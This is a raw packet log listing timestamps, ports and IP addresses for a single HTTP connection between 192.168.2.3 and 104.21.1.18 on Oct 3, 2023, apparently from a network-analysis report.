Oct 3, 2023 09:55:53.288475990 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.288476944 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357022047 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357076883 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357112885 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357134104 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357146025 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357183933 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357184887 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357215881 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357218981 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357242107 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357251883 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357280016 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357285023 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357321024 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357323885 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357352018 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357384920 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357391119 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357391119 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357418060 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357448101 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357448101 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357451916 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357508898 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357508898 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357554913 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357589006 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357614994 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357621908 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357650995 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357688904 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357706070 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357739925 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357773066 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357800961 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357800961 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357857943 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357862949 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357925892 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357923031 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.357985973 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.357989073 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358020067 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358047009 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358077049 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358095884 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358161926 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358175039 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358195066 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358222961 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358227968 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358247995 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358290911 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358350992 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358383894 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358413935 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358416080 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358473063 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358473063 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358479023 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358511925 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358539104 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358542919 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358565092 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358576059 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358642101 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358642101 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358675957 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358736992 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358748913 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358797073 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358798027 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358866930 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358870029 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358927011 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358932018 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.358985901 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.358993053 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359045982 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359046936 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359081030 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359136105 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359136105 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359206915 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359240055 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359266996 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359272957 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359299898 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359308004 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359333038 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359342098 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359370947 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359395981 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359400988 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359473944 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359484911 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359519005 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359549046 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359551907 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359585047 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359606981 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359617949 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359635115 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359651089 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359658957 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359682083 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359731913 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359803915 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359836102 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359865904 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359872103 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359899044 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359899044 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359930992 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359931946 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359961987 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.359971046 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.359993935 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360022068 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360022068 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360028028 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360055923 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360061884 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360095024 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360095978 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360119104 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360131025 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360157967 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360189915 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360215902 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360249996 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360270977 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360307932 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360331059 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360361099 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360371113 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360431910 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360435963 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360490084 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360507965 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360569954 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360632896 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360666037 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360692978 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360699892 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360728979 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360733032 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360753059 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360764027 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360794067 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360820055 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360822916 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360882998 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.360883951 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360944986 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.360945940 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361001968 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361031055 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361089945 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361093044 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361151934 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361152887 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361187935 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361222982 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361248970 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361274958 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361335993 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361344099 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361397028 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361469984 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361501932 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361532927 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361535072 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361557961 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361568928 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361598969 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361601114 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361634970 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361658096 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361677885 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361711025 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361733913 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361743927 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361778021 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361804962 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361821890 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361855030 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361875057 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361891985 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.361912966 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.361943960 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.362070084 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.362129927 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.362154961 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.362164021 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.362191916 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.362198114 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.362215996 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.362231016 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.362248898 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.362288952 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.362333059 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.362365961 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.362391949 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.362425089 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.362427950 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.362481117 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.362514019 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.362548113 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.362581968 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.362637997 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.383162022 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.383212090 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.383244991 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.383276939 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.383304119 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.383339882 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.383414030 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.383539915 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.383687973 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.383723021 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.453279018 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.453335047 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.453372002 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.466824055 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.466878891 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.466914892 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.466948032 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.466980934 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467012882 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467045069 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467077017 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467111111 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467143059 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467175007 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467207909 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467241049 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467364073 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467397928 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467428923 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467461109 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467493057 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467607975 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467740059 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467772007 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467804909 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467837095 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467868090 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467900991 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467932940 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467964888 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.467995882 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468029976 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468061924 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468091965 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468126059 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468158007 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468190908 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468221903 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468276024 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468308926 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468343019 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468426943 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468460083 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468558073 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468590975 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468624115 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468655109 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468687057 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468719006 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468750954 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468782902 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468815088 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468847036 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468877077 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468909025 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468905926 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.468907118 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.468943119 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.468976021 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469008923 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469072104 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469113111 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469146967 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469180107 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469182014 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469212055 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469219923 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469244003 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469273090 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469279051 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469309092 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469311953 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469345093 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469377041 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469371080 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469412088 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469436884 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469470024 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469499111 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469502926 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469521046 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469537020 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469569921 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469588041 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469602108 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469635010 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469656944 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469669104 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469686031 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469702005 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469733953 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469760895 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469767094 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469788074 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469799042 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469831944 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469851971 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469863892 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469887972 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469896078 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469928980 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469955921 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469959974 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.469988108 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.469993114 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470024109 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470046997 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.470056057 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470072031 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.470088959 CEST	80	49925	104.21.1.18	192.168.2.3
